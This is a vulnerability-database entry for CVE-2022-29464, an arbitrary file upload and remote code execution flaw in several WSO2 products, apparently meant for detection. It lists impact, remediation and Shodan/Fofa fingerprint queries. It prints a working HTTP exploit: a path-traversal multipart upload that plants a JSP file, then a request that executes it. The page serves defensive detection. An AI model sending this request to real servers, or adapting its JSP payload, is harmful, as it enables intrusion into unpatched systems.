🔙 목록으로 돌아가기

CVE-2022-29464: WSO2 Management - Arbitrary File Upload & Remote Code Execution

TitleWSO2 Management - Arbitrary File Upload & Remote Code Execution
Authorluci,dhiyaneshDk
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to upload malicious files and execute arbitrary code on the affected system.
RemediationApply the latest security patches and updates provided by WSO2 to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.94434
CVE IDCVE-2022-29464
CWE IDCWE-22
Shodan Queryhttp.favicon.hash:1398055326
Fofa Queryicon_hash=1398055326
Tags cve cve2022 rce fileupload wso2 intrusive kev vkev vuln

🔍 Vulnerability Description

Certain WSO2 products allow unrestricted file upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0.

🌐 HTTP Request

POST /fileupload/toolsAny HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
Connection: close
Content-Length: 375
Content-Type: multipart/form-data; boundary=---------------------------250033711231076532771336998311
Accept-Encoding: gzip

-----------------------------250033711231076532771336998311

Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/38f9htgeyud2ftzvbct4fvgyxkk.jsp";filename="test.jsp"

Content-Type: application/octet-stream



<% out.print("WSO2-RCE-CVE-2022-29464"); %>

-----------------------------250033711231076532771336998311--
GET /authenticationendpoint/38f9htgeyud2ftzvbct4fvgyxkk.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-29464.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-29464.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A